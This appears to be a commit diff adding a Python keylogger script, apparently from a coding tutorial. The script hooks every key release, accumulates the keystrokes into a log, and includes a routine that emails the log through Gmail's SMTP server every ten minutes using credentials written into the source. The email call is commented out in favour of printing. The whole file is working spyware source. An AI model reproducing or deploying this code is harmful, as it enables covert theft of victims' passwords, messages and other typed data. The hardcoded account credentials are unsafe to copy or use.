1+ import keyboard # for keylogs
2+ import smtplib # for sending email using SMTP protocol (gmail)
3+ # Semaphore is for blocking the current thread
4+ # Timer is to make a method runs after an `interval` amount of time
5+ from threading import Semaphore , Timer
6+
7+ SEND_REPORT_EVERY = 600 # 10 minutes
8+ EMAIL_ADDRESS = "[email protected] " 9+ EMAIL_PASSWORD = "thepythoncodeokok123"
10+
11+ class Keylogger :
12+ def __init__ (self , interval ):
13+ # we gonna pass SEND_REPORT_EVERY to interval
14+ self .interval = interval
15+ # this is the string variable that contains the log of all
16+ # the keystrokes within `self.interval`
17+ self .log = ""
18+ # for blocking after setting the on_release listener
19+ self .semaphore = Semaphore (0 )
20+
21+ def callback (self , event ):
22+ """
23+ This callback is invoked whenever a keyboard event is occured
24+ (i.e when a key is released in this example)
25+ """
26+ name = event .name
27+ if len (name ) > 1 :
28+ # not a character, special key (e.g ctrl, alt, etc.)
29+ # uppercase with []
30+ if name == "space" :
31+ # " " instead of "space"
32+ name = " "
33+ elif name == "enter" :
34+ # add a new line whenever an ENTER is pressed
35+ name = "[ENTER]\n "
36+ elif name == "decimal" :
37+ name = "."
38+ else :
39+ # replace spaces with underscores
40+ name = name .replace (" " , "_" )
41+ name = f"[{ name .upper ()} ]"
42+
43+ self .log += name
44+
45+ def sendmail (self , email , password , message ):
46+ # manages a connection to an SMTP server
47+ server = smtplib .SMTP (host = "smtp.gmail.com" , port = 587 )
48+ # connect to the SMTP server as TLS mode ( for security )
49+ server .starttls ()
50+ # login to the email account
51+ server .login (email , password )
52+ # send the actual message
53+ server .sendmail (email , email , message )
54+ # terminates the session
55+ server .quit ()
56+
57+ def report (self ):
58+ """
59+ This function gets called every `self.interval`
60+ It basically sends keylogs and resets `self.log` variable
61+ """
62+ if self .log :
63+ # if there is something in log, report it
64+ # self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
65+ print (self .log )
66+ self .log = ""
67+ Timer (interval = self .interval , function = self .report ).start ()
68+
69+ def start (self ):
70+ # start the keylogger
71+ keyboard .on_release (callback = self .callback )
72+ # start reporting the keylogs
73+ self .report ()
74+ # block the current thread,
75+ # since on_release() doesn't block the current thread
76+ # if we don't block it, when we execute the program, nothing will happen
77+ # that is because on_release() will start the listener in a separate thread
78+ self .semaphore .acquire ()
79+
80+
81+
82+ if __name__ == "__main__" :
83+ keylogger = Keylogger (interval = SEND_REPORT_EVERY )
84+ keylogger .start ()
0 commit comments